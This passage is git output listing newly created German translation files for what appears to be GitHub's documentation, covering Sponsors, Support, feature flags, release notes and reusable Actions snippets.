 create mode 100644 translations/de-DE/content/site-policy/site-policy-deprecated/github-enterprise-service-level-agreement.md
 create mode 100644 translations/de-DE/content/site-policy/site-policy-deprecated/github-enterprise-subscription-agreement.md
 create mode 100644 translations/de-DE/content/site-policy/site-policy-deprecated/github-supplemental-terms-for-microsoft-volume-licensing.md
 create mode 100644 translations/de-DE/content/site-policy/site-policy-deprecated/index.md
 create mode 100644 translations/de-DE/content/sponsors/getting-started-with-github-sponsors/about-github-sponsors.md
 create mode 100644 translations/de-DE/content/sponsors/getting-started-with-github-sponsors/index.md
 create mode 100644 translations/de-DE/content/sponsors/getting-started-with-github-sponsors/quickstart-for-finding-contributors-to-sponsor.md
 create mode 100644 translations/de-DE/content/sponsors/guides.md
 create mode 100644 translations/de-DE/content/sponsors/index.md
 create mode 100644 translations/de-DE/content/sponsors/integrating-with-github-sponsors/configuring-webhooks-for-events-in-your-sponsored-account.md
 create mode 100644 translations/de-DE/content/sponsors/integrating-with-github-sponsors/getting-started-with-the-sponsors-graphql-api.md
 create mode 100644 translations/de-DE/content/sponsors/integrating-with-github-sponsors/index.md
 create mode 100644 translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors.md
 create mode 100644 translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors.md
 create mode 100644 translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/disabling-your-github-sponsors-account.md
 create mode 100644 translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors.md
 create mode 100644 translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/index.md
 create mode 100644 translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-payouts-from-github-sponsors.md
 create mode 100644 translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-goal.md
 create mode 100644 translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers.md
 create mode 100644 translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-organization.md
 create mode 100644 translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-personal-account.md
 create mode 100644 translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/tax-information-for-github-sponsors.md
 create mode 100644 translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/unpublishing-your-github-sponsors-profile.md
 create mode 100644 translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/using-a-fiscal-host-to-receive-github-sponsors-payouts.md
 create mode 100644 translations/de-DE/content/sponsors/receiving-sponsorships-through-github-sponsors/viewing-your-sponsors-and-sponsorships.md
 create mode 100644 translations/de-DE/content/sponsors/sponsoring-open-source-contributors/attributing-sponsorships-to-your-organization.md
 create mode 100644 translations/de-DE/content/sponsors/sponsoring-open-source-contributors/index.md
 create mode 100644 translations/de-DE/content/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship.md
 create mode 100644 translations/de-DE/content/sponsors/sponsoring-open-source-contributors/paying-for-github-sponsors-by-invoice.md
 create mode 100644 translations/de-DE/content/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor.md
 create mode 100644 translations/de-DE/content/support/contacting-github-support/creating-a-support-ticket.md
 create mode 100644 translations/de-DE/content/support/contacting-github-support/index.md
 create mode 100644 translations/de-DE/content/support/contacting-github-support/providing-data-to-github-support.md
 create mode 100644 translations/de-DE/content/support/contacting-github-support/viewing-and-updating-support-tickets.md
 create mode 100644 translations/de-DE/content/support/index.md
 create mode 100644 translations/de-DE/content/support/learning-about-github-support/about-github-premium-support.md
 create mode 100644 translations/de-DE/content/support/learning-about-github-support/about-github-support.md
 create mode 100644 translations/de-DE/content/support/learning-about-github-support/about-ticket-priority.md
 create mode 100644 translations/de-DE/content/support/learning-about-github-support/github-marketplace-support.md
 create mode 100644 translations/de-DE/content/support/learning-about-github-support/index.md
 create mode 100644 translations/de-DE/data/features/GH-advisory-db-erlang-support.yml
 create mode 100644 translations/de-DE/data/features/GH-advisory-db-supports-malware.yml
 create mode 100644 translations/de-DE/data/features/README.md
 create mode 100644 translations/de-DE/data/features/actions-cache-list-delete-apis.yml
 create mode 100644 translations/de-DE/data/features/actions-cache-management.yml
 create mode 100644 translations/de-DE/data/features/actions-cache-policy-apis.yml
 create mode 100644 translations/de-DE/data/features/actions-caching.yml
 create mode 100644 translations/de-DE/data/features/actions-hosted-runners.yml
 create mode 100644 translations/de-DE/data/features/actions-inherit-secrets-reusable-workflows.yml
 create mode 100644 translations/de-DE/data/features/actions-job-summaries.yml
 create mode 100644 translations/de-DE/data/features/actions-node16-action.yml
 create mode 100644 translations/de-DE/data/features/actions-oidc-hardening-config.yml
 create mode 100644 translations/de-DE/data/features/actions-reusable-workflow-matrix.yml
 create mode 100644 translations/de-DE/data/features/actions-runner-arch-envvars.yml
 create mode 100644 translations/de-DE/data/features/actions-stable-actor-ids.yml
 create mode 100644 translations/de-DE/data/features/actions-starter-template-ui.yml
 create mode 100644 translations/de-DE/data/features/actions-unified-inputs.yml
 create mode 100644 translations/de-DE/data/features/actions-workflow-policy.yml
 create mode 100644 translations/de-DE/data/features/allow-actions-to-approve-pr-with-ent-repo.yml
 create mode 100644 translations/de-DE/data/features/allow-actions-to-approve-pr.yml
 create mode 100644 translations/de-DE/data/features/audit-data-retention-tab.yml
 create mode 100644 translations/de-DE/data/features/audit-log-sso-response-events.yml
 create mode 100644 translations/de-DE/data/features/audit-log-streaming.yml
 create mode 100644 translations/de-DE/data/features/autolink-reference-alphanumeric.yml
 create mode 100644 translations/de-DE/data/features/blame-ignore-revs.yml
 create mode 100644 translations/de-DE/data/features/build-pages-with-actions.yml
 create mode 100644 translations/de-DE/data/features/bypass-branch-protections.yml
 create mode 100644 translations/de-DE/data/features/classic-project-visibility-permissions-or-projects-v2.yml
 create mode 100644 translations/de-DE/data/features/classic-project-visibility-permissions.yml
 create mode 100644 translations/de-DE/data/features/code-scanning-exclude-queries-from-analysis.yml
 create mode 100644 translations/de-DE/data/features/code-scanning-pr-conversations-tab.yml
 create mode 100644 translations/de-DE/data/features/code-scanning-task-lists.yml
 create mode 100644 translations/de-DE/data/features/codeowners-errors.yml
 create mode 100644 translations/de-DE/data/features/codeql-action-debug-logging.yml
 create mode 100644 translations/de-DE/data/features/codeql-ml-queries.yml
 create mode 100644 translations/de-DE/data/features/codeql-packs.yml
 create mode 100644 translations/de-DE/data/features/codeql-runner-supported.yml
 create mode 100644 translations/de-DE/data/features/command-palette.yml
 create mode 100644 translations/de-DE/data/features/comment-dismissed-code-scanning-alert.yml
 create mode 100644 translations/de-DE/data/features/commit-signoffs.yml
 create mode 100644 translations/de-DE/data/features/commit-tree-view.yml
 create mode 100644 translations/de-DE/data/features/container-hooks.yml
 create mode 100644 translations/de-DE/data/features/copilot.yml
 create mode 100644 translations/de-DE/data/features/create-branch-from-overview.yml
 create mode 100644 translations/de-DE/data/features/custom-pattern-dry-run-ga.yml
 create mode 100644 translations/de-DE/data/features/custom-repository-roles.yml
 create mode 100644 translations/de-DE/data/features/debug-reruns.yml
 create mode 100644 translations/de-DE/data/features/default-merge-squash-commit-message.yml
 create mode 100644 translations/de-DE/data/features/delete-code-scanning-alerts.yml
 create mode 100644 translations/de-DE/data/features/dependabot-alerts-development-label.yml
 create mode 100644 translations/de-DE/data/features/dependabot-alerts-dismissal-comment.yml
 create mode 100644 translations/de-DE/data/features/dependabot-alerts-vulnerable-calls.yml
 create mode 100644 translations/de-DE/data/features/dependabot-bulk-alerts.yml
 create mode 100644 translations/de-DE/data/features/dependabot-grouped-dependencies.yml
 create mode 100644 translations/de-DE/data/features/dependabot-most-important-sort-option.yml
 create mode 100644 translations/de-DE/data/features/dependabot-settings-update-37.yml
 create mode 100644 translations/de-DE/data/features/dependabot-updates-github-connect.yml
 create mode 100644 translations/de-DE/data/features/dependency-graph-rust-support.yml
 create mode 100644 translations/de-DE/data/features/dependency-review-action-configuration.yml
 create mode 100644 translations/de-DE/data/features/dependency-review-action-ghes.yml
 create mode 100644 translations/de-DE/data/features/dependency-review-action-licenses.yml
 create mode 100644 translations/de-DE/data/features/dependency-submission-api.yml
 create mode 100644 translations/de-DE/data/features/device-flow-is-opt-in.yml
 create mode 100644 translations/de-DE/data/features/discussions.yml
 create mode 100644 translations/de-DE/data/features/docker-ghcr-enterprise-migration.yml
 create mode 100644 translations/de-DE/data/features/enable-git-events.yml
 create mode 100644 translations/de-DE/data/features/enterprise-audit-log-ip-addresses.yml
 create mode 100644 translations/de-DE/data/features/enterprise-membership-view-improvements.yml
 create mode 100644 translations/de-DE/data/features/enterprise-namespace-repo-setting.yml
 create mode 100644 translations/de-DE/data/features/enterprise-owner-join-org.yml
 create mode 100644 translations/de-DE/data/features/enterprise-owners-visible-for-org-members.yml
 create mode 100644 translations/de-DE/data/features/file-finder-exclusion-controls.yml
 create mode 100644 translations/de-DE/data/features/fixed-width-font-gfm-fields.yml
 create mode 100644 translations/de-DE/data/features/for-you-feed.yml
 create mode 100644 translations/de-DE/data/features/geoJSON-with-MapBox.yml
 create mode 100644 translations/de-DE/data/features/ghas-committers-calculator.yml
 create mode 100644 translations/de-DE/data/features/ghas-enablement-webhook.yml
 create mode 100644 translations/de-DE/data/features/ghe-announce-dismiss.yml
 create mode 100644 translations/de-DE/data/features/git-events-audit-log.yml
 create mode 100644 translations/de-DE/data/features/github-actions-in-dependency-graph.yml
 create mode 100644 translations/de-DE/data/features/github-runner-dashboard.yml
 create mode 100644 translations/de-DE/data/features/githubdev-editor.yml
 create mode 100644 translations/de-DE/data/features/innersource-fork-policies.yml
 create mode 100644 translations/de-DE/data/features/integration-branch-protection-exceptions.yml
 create mode 100644 translations/de-DE/data/features/internal-actions.yml
 create mode 100644 translations/de-DE/data/features/ip-allow-list-address-check.yml
 create mode 100644 translations/de-DE/data/features/ip-exception-list.yml
 create mode 100644 translations/de-DE/data/features/issue-close-reasons.yml
 create mode 100644 translations/de-DE/data/features/job-hooks-for-runners.yml
 create mode 100644 translations/de-DE/data/features/keyboard-shortcut-accessibility-setting.yml
 create mode 100644 translations/de-DE/data/features/math-fenced-blocks.yml
 create mode 100644 translations/de-DE/data/features/math.yml
 create mode 100644 translations/de-DE/data/features/mermaid.yml
 create mode 100644 translations/de-DE/data/features/motion-management.yml
 create mode 100644 translations/de-DE/data/features/multiple-accounts-one-workstation.yml
 create mode 100644 translations/de-DE/data/features/nested-reusable-workflow.yml
 create mode 100644 translations/de-DE/data/features/oidc-for-emu.yml
 create mode 100644 translations/de-DE/data/features/only-notify-requested-members.yml
 create mode 100644 translations/de-DE/data/features/org-profile-pin-private.yml
 create mode 100644 translations/de-DE/data/features/packages-npm-v2.yml
 create mode 100644 translations/de-DE/data/features/pages-custom-workflow.yml
 create mode 100644 translations/de-DE/data/features/partial-reruns-with-reusable.yml
 create mode 100644 translations/de-DE/data/features/pause-audit-log-stream.yml
 create mode 100644 translations/de-DE/data/features/placeholder.yml
 create mode 100644 translations/de-DE/data/features/pr-tree-view.yml
 create mode 100644 translations/de-DE/data/features/prevent-org-admin-add-outside-collaborator.yml
 create mode 100644 translations/de-DE/data/features/previous-release-tag.yml
 create mode 100644 translations/de-DE/data/features/project-beta-webhooks.yml
 create mode 100644 translations/de-DE/data/features/projects-oauth-scope.yml
 create mode 100644 translations/de-DE/data/features/projects-v1.yml
 create mode 100644 translations/de-DE/data/features/projects-v2.yml
 create mode 100644 translations/de-DE/data/features/pull-request-approval-limit.yml
 create mode 100644 translations/de-DE/data/features/push-protection-custom-link-orgs-beta.yml
 create mode 100644 translations/de-DE/data/features/push-protection-custom-link-orgs.yml
 create mode 100644 translations/de-DE/data/features/re-run-jobs.yml
 create mode 100644 translations/de-DE/data/features/remove-enterprise-members.yml
 create mode 100644 translations/de-DE/data/features/reopen-dependabot-alerts.yml
 create mode 100644 translations/de-DE/data/features/require-tls-for-smtp.yml
 create mode 100644 translations/de-DE/data/features/required-deployments.yml
 create mode 100644 translations/de-DE/data/features/restrict-groups-to-workflows.yml
 create mode 100644 translations/de-DE/data/features/restrict-pushes-create-branch.yml
 create mode 100644 translations/de-DE/data/features/secret-scanning-alert-audit-log.yml
 create mode 100644 translations/de-DE/data/features/secret-scanning-audit-log-custom-patterns.yml
 create mode 100644 translations/de-DE/data/features/secret-scanning-custom-enterprise-35.yml
 create mode 100644 translations/de-DE/data/features/secret-scanning-custom-enterprise-36.yml
 create mode 100644 translations/de-DE/data/features/secret-scanning-push-protection-bypasses.yml
 create mode 100644 translations/de-DE/data/features/secret-scanning-push-protection-email.yml
 create mode 100644 translations/de-DE/data/features/secret-scanning-push-protection-web-ui.yml
 create mode 100644 translations/de-DE/data/features/secret-scanning-push-protection.yml
 create mode 100644 translations/de-DE/data/features/security-advisories-ghes-ghae.yml
 create mode 100644 translations/de-DE/data/features/security-managers.yml
 create mode 100644 translations/de-DE/data/features/security-overview-displayed-alerts.yml
 create mode 100644 translations/de-DE/data/features/security-overview-feature-specific-alert-page.yml
 create mode 100644 translations/de-DE/data/features/server-statistics.yml
 create mode 100644 translations/de-DE/data/features/ssh-commit-verification.yml
 create mode 100644 translations/de-DE/data/features/streaming-datadog.yml
 create mode 100644 translations/de-DE/data/features/streaming-oidc-s3.yml
 create mode 100644 translations/de-DE/data/features/svg-support.yml
 create mode 100644 translations/de-DE/data/features/syncing-fork-web-ui.yml
 create mode 100644 translations/de-DE/data/features/totp-and-mobile-sudo-challenge.yml
 create mode 100644 translations/de-DE/data/features/upload-expired-or-revoked-gpg-key.yml
 create mode 100644 translations/de-DE/data/glossaries/README.md
 create mode 100644 translations/de-DE/data/glossaries/candidates.yml
 create mode 100644 translations/de-DE/data/glossaries/external.yml
 create mode 100644 translations/de-DE/data/learning-tracks/README.md
 create mode 100644 translations/de-DE/data/learning-tracks/actions.yml
 create mode 100644 translations/de-DE/data/learning-tracks/admin.yml
 create mode 100644 translations/de-DE/data/learning-tracks/code-security.yml
 create mode 100644 translations/de-DE/data/product-examples/README.md
 create mode 100644 translations/de-DE/data/product-examples/code-security/code-examples.yml
 create mode 100644 translations/de-DE/data/product-examples/codespaces/code-examples.yml
 create mode 100644 translations/de-DE/data/product-examples/discussions/community-examples.yml
 create mode 100644 translations/de-DE/data/product-examples/sponsors/user-examples.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-3/0-rc1.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-3/0.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-3/1.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-3/10.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-3/11.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-3/12.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-3/13.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-3/2.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-3/3.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-3/4.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-3/5.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-3/6.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-3/7.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-3/8.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-3/9.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-4/0-rc1.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-4/0.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-4/1.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-4/2.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-4/3.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-4/4.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-4/5.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-4/6.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-4/7.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-4/8.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-5/0-rc1.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-5/4.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-5/5.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-6/0-rc1.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/3-6/1.yml
 create mode 100644 translations/de-DE/data/release-notes/enterprise-server/README.md
 create mode 100644 translations/de-DE/data/release-notes/github-ae/README.md
 create mode 100644 translations/de-DE/data/reusables/accounts/accounts-billed-separately.md
 create mode 100644 translations/de-DE/data/reusables/accounts/create-account.md
 create mode 100644 translations/de-DE/data/reusables/accounts/create-personal-access-tokens.md
 create mode 100644 translations/de-DE/data/reusables/accounts/you-must-know-your-password.md
 create mode 100644 translations/de-DE/data/reusables/actions/about-actions-for-enterprises.md
 create mode 100644 translations/de-DE/data/reusables/actions/about-actions.md
 create mode 100644 translations/de-DE/data/reusables/actions/about-artifact-log-retention.md
 create mode 100644 translations/de-DE/data/reusables/actions/about-artifacts.md
 create mode 100644 translations/de-DE/data/reusables/actions/about-environments.md
 create mode 100644 translations/de-DE/data/reusables/actions/about-oidc-short-overview.md
 create mode 100644 translations/de-DE/data/reusables/actions/about-runner-groups.md
 create mode 100644 translations/de-DE/data/reusables/actions/about-runners.md
 create mode 100644 translations/de-DE/data/reusables/actions/about-secrets.md
 create mode 100644 translations/de-DE/data/reusables/actions/about-self-hosted-runners.md
 create mode 100644 translations/de-DE/data/reusables/actions/about-triggers.md
 create mode 100644 translations/de-DE/data/reusables/actions/about-workflow-jobs.md
 create mode 100644 translations/de-DE/data/reusables/actions/about-workflow-runs.md
 create mode 100644 translations/de-DE/data/reusables/actions/about-workflows-long.md
 create mode 100644 translations/de-DE/data/reusables/actions/about-workflows.md
 create mode 100644 translations/de-DE/data/reusables/actions/access-actions-on-dotcom.md
 create mode 100644 translations/de-DE/data/reusables/actions/action-cache.md
 create mode 100644 translations/de-DE/data/reusables/actions/action-checkout.md
 create mode 100644 translations/de-DE/data/reusables/actions/action-codeql-action-analyze.md
 create mode 100644 translations/de-DE/data/reusables/actions/action-codeql-action-autobuild.md
 create mode 100644 translations/de-DE/data/reusables/actions/action-codeql-action-init.md
 create mode 100644 translations/de-DE/data/reusables/actions/action-codeql-action-upload-sarif.md
 create mode 100644 translations/de-DE/data/reusables/actions/action-delete-package-versions.md
 create mode 100644 translations/de-DE/data/reusables/actions/action-download-artifact.md
 create mode 100644 translations/de-DE/data/reusables/actions/action-github-script.md
 create mode 100644 translations/de-DE/data/reusables/actions/action-labeler.md
 create mode 100644 translations/de-DE/data/reusables/actions/action-setup-dotnet.md
 create mode 100644 translations/de-DE/data/reusables/actions/action-setup-go.md
 create mode 100644 translations/de-DE/data/reusables/actions/action-setup-java.md
 create mode 100644 translations/de-DE/data/reusables/actions/action-setup-node.md
 create mode 100644 translations/de-DE/data/reusables/actions/action-setup-python.md
 create mode 100644 translations/de-DE/data/reusables/actions/action-stale.md
 create mode 100644 translations/de-DE/data/reusables/actions/action-upload-artifact.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-activity-types.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-app-actions-permissions-api.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-audit-events-for-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-audit-events-workflow.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-authentication.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-billing.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-bundled-with-ghes.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-do-not-trigger-workflows.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-filters.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-group-concurrency.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-multiple-types.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-not-certified-by-github-comment.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-not-verified.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-on-examples.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-packages-set-spending-limit.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-spending-limit-brief.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-spending-limit-detailed.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-unused-labels.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-use-policy-settings.md
 create mode 100644 translations/de-DE/data/reusables/actions/actions-use-sha-pinning-comment.md
 create mode 100644 translations/de-DE/data/reusables/actions/add-hosted-runner-overview.md
 create mode 100644 translations/de-DE/data/reusables/actions/add-hosted-runner.md
 create mode 100644 translations/de-DE/data/reusables/actions/allow-specific-actions-intro.md
 create mode 100644 translations/de-DE/data/reusables/actions/artifact-log-retention-statement.md
 create mode 100644 translations/de-DE/data/reusables/actions/automatically-adding-a-runner-to-a-group.md
 create mode 100644 translations/de-DE/data/reusables/actions/autoscaling-parameters.md
 create mode 100644 translations/de-DE/data/reusables/actions/branch-paths-filter.md
 create mode 100644 translations/de-DE/data/reusables/actions/branch-requirement.md
 create mode 100644 translations/de-DE/data/reusables/actions/cache-default-size.md
 create mode 100644 translations/de-DE/data/reusables/actions/cache-eviction-process.md
 create mode 100644 translations/de-DE/data/reusables/actions/cache-no-org-policy.md
 create mode 100644 translations/de-DE/data/reusables/actions/caching-availability.md
 create mode 100644 translations/de-DE/data/reusables/actions/cd-templates-actions.md
 create mode 100644 translations/de-DE/data/reusables/actions/change-cache-size-limit.md
 create mode 100644 translations/de-DE/data/reusables/actions/change-retention-period-for-artifacts-logs.md
 create mode 100644 translations/de-DE/data/reusables/actions/changing-the-access-policy-of-a-runner-group.md
 create mode 100644 translations/de-DE/data/reusables/actions/changing-the-name-of-a-runner-group.md
 create mode 100644 translations/de-DE/data/reusables/actions/checkout-action-table-entry.md
 create mode 100644 translations/de-DE/data/reusables/actions/choose-repo.md
 create mode 100644 translations/de-DE/data/reusables/actions/commit-workflow.md
 create mode 100644 translations/de-DE/data/reusables/actions/comparing-artifacts-caching.md
 create mode 100644 translations/de-DE/data/reusables/actions/concurrency-table-entry.md
 create mode 100644 translations/de-DE/data/reusables/actions/configure-runner-group-access.md
 create mode 100644 translations/de-DE/data/reusables/actions/configure-runner-group.md
 create mode 100644 translations/de-DE/data/reusables/actions/configure-storage-provider-platform-commands.md
 create mode 100644 translations/de-DE/data/reusables/actions/configure-storage-provider.md
 create mode 100644 translations/de-DE/data/reusables/actions/contacting-support.md
 create mode 100644 translations/de-DE/data/reusables/actions/container-jobs-intro.md
 create mode 100644 translations/de-DE/data/reusables/actions/context-contents.md
 create mode 100644 translations/de-DE/data/reusables/actions/context-example-note.md
 create mode 100644 translations/de-DE/data/reusables/actions/context-injection-warning.md
 create mode 100644 translations/de-DE/data/reusables/actions/copy-workflow-file.md
 create mode 100644 translations/de-DE/data/reusables/actions/create-azure-app-plan.md
 create mode 100644 translations/de-DE/data/reusables/actions/create-azure-publish-profile.md
 create mode 100644 translations/de-DE/data/reusables/actions/create-runner-group.md
 create mode 100644 translations/de-DE/data/reusables/actions/creating-a-runner-group-for-an-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/actions/creating-a-runner-group-for-an-organization.md
 create mode 100644 translations/de-DE/data/reusables/actions/cron-table-entry.md
 create mode 100644 translations/de-DE/data/reusables/actions/defaults-override.md
 create mode 100644 translations/de-DE/data/reusables/actions/delete-env-key.md
 create mode 100644 translations/de-DE/data/reusables/actions/disabled-actions-description.md
 create mode 100644 translations/de-DE/data/reusables/actions/disabling-github-actions.md
 create mode 100644 translations/de-DE/data/reusables/actions/docker-container-os-support.md
 create mode 100644 translations/de-DE/data/reusables/actions/dockerfile-guidelines.md
 create mode 100644 translations/de-DE/data/reusables/actions/enable-debug-logging-cli.md
 create mode 100644 translations/de-DE/data/reusables/actions/enable-debug-logging.md
 create mode 100644 translations/de-DE/data/reusables/actions/enabled-actions-description.md
 create mode 100644 translations/de-DE/data/reusables/actions/enterprise-billing-details.md
 create mode 100644 translations/de-DE/data/reusables/actions/enterprise-common-prereqs.md
 create mode 100644 translations/de-DE/data/reusables/actions/enterprise-enable-checkbox.md
 create mode 100644 translations/de-DE/data/reusables/actions/enterprise-github-hosted-runners.md
 create mode 100644 translations/de-DE/data/reusables/actions/enterprise-http-proxy.md
 create mode 100644 translations/de-DE/data/reusables/actions/enterprise-limit-actions-use.md
 create mode 100644 translations/de-DE/data/reusables/actions/enterprise-marketplace-actions.md
 create mode 100644 translations/de-DE/data/reusables/actions/enterprise-no-internet-actions.md
 create mode 100644 translations/de-DE/data/reusables/actions/enterprise-postinstall-nextsteps.md
 create mode 100644 translations/de-DE/data/reusables/actions/enterprise-s3-permission.md
 create mode 100644 translations/de-DE/data/reusables/actions/enterprise-s3-tech-partners.md
 create mode 100644 translations/de-DE/data/reusables/actions/enterprise-self-signed-cert.md
 create mode 100644 translations/de-DE/data/reusables/actions/enterprise-setup-prereq.md
 create mode 100644 translations/de-DE/data/reusables/actions/enterprise-storage-ha-backups.md
 create mode 100644 translations/de-DE/data/reusables/actions/environment-deployment-event.md
 create mode 100644 translations/de-DE/data/reusables/actions/environment-example.md
 create mode 100644 translations/de-DE/data/reusables/actions/example-diagram-intro.md
 create mode 100644 translations/de-DE/data/reusables/actions/example-docs-engineering-intro.md
 create mode 100644 translations/de-DE/data/reusables/actions/example-explanation-table-intro.md
 create mode 100644 translations/de-DE/data/reusables/actions/example-github-runner.md
 create mode 100644 translations/de-DE/data/reusables/actions/example-table-intro.md
 create mode 100644 translations/de-DE/data/reusables/actions/example-workflow-intro-ci.md
 create mode 100644 translations/de-DE/data/reusables/actions/explanation-name-key.md
 create mode 100644 translations/de-DE/data/reusables/actions/expression-syntax-if.md
 create mode 100644 translations/de-DE/data/reusables/actions/forked-secrets.md
 create mode 100644 translations/de-DE/data/reusables/actions/forked-write-permission.md
 create mode 100644 translations/de-DE/data/reusables/actions/general-security-hardening.md
 create mode 100644 translations/de-DE/data/reusables/actions/ghes-actions-not-enabled-by-default.md
 create mode 100644 translations/de-DE/data/reusables/actions/github-connect-resolution.md
 create mode 100644 translations/de-DE/data/reusables/actions/github-context-warning.md
 create mode 100644 translations/de-DE/data/reusables/actions/github-hosted-runners-check-concurrency.md
 create mode 100644 translations/de-DE/data/reusables/actions/github-hosted-runners-navigate-to-repo-org-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/actions/github-hosted-runners-table-entry.md
 create mode 100644 translations/de-DE/data/reusables/actions/github-token-available-permissions.md
 create mode 100644 translations/de-DE/data/reusables/actions/github-token-expiration.md
 create mode 100644 translations/de-DE/data/reusables/actions/github-token-permissions.md
 create mode 100644 translations/de-DE/data/reusables/actions/github_sha_description.md
 create mode 100644 translations/de-DE/data/reusables/actions/github_token-input-example.md
 create mode 100644 translations/de-DE/data/reusables/actions/gradle-workflow-steps.md
 create mode 100644 translations/de-DE/data/reusables/actions/hardware-requirements-3.2.md
 create mode 100644 translations/de-DE/data/reusables/actions/hardware-requirements-3.3.md
 create mode 100644 translations/de-DE/data/reusables/actions/hardware-requirements-3.4.md
 create mode 100644 translations/de-DE/data/reusables/actions/hardware-requirements-3.5.md
 create mode 100644 translations/de-DE/data/reusables/actions/hardware-requirements-before.md
 create mode 100644 translations/de-DE/data/reusables/actions/hosted-runner-configure-runner-group-access.md
 create mode 100644 translations/de-DE/data/reusables/actions/hosted-runner-labels-view-assigned-labels.md
 create mode 100644 translations/de-DE/data/reusables/actions/hosted-runner-list-group.md
 create mode 100644 translations/de-DE/data/reusables/actions/hosted-runner-list.md
 create mode 100644 translations/de-DE/data/reusables/actions/hosted-runner-security-admonition.md
 create mode 100644 translations/de-DE/data/reusables/actions/if-conditions-table-entry.md
 create mode 100644 translations/de-DE/data/reusables/actions/inputs-vs-github-event-inputs.md
 create mode 100644 translations/de-DE/data/reusables/actions/internal-actions-summary.md
 create mode 100644 translations/de-DE/data/reusables/actions/introducing-enterprise.md
 create mode 100644 translations/de-DE/data/reusables/actions/invalid-workflow-files.md
 create mode 100644 translations/de-DE/data/reusables/actions/ip-allow-list-self-hosted-runners.md
 create mode 100644 translations/de-DE/data/reusables/actions/java-jvm-architecture.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/about-matrix-strategy.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/example-runs-on-groups.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/example-runs-on-labels-and-groups.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/matrix-add-with-include.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/matrix-exclude.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/matrix-expand-with-include.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/matrix-from-context.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/matrix-include.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/multi-dimension-matrix.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-assigning-permissions-to-jobs-specific.md
 create mode 100644 translations/de-DE/data/reusables/actions/jobs/section-assigning-permissions-to-jobs.md
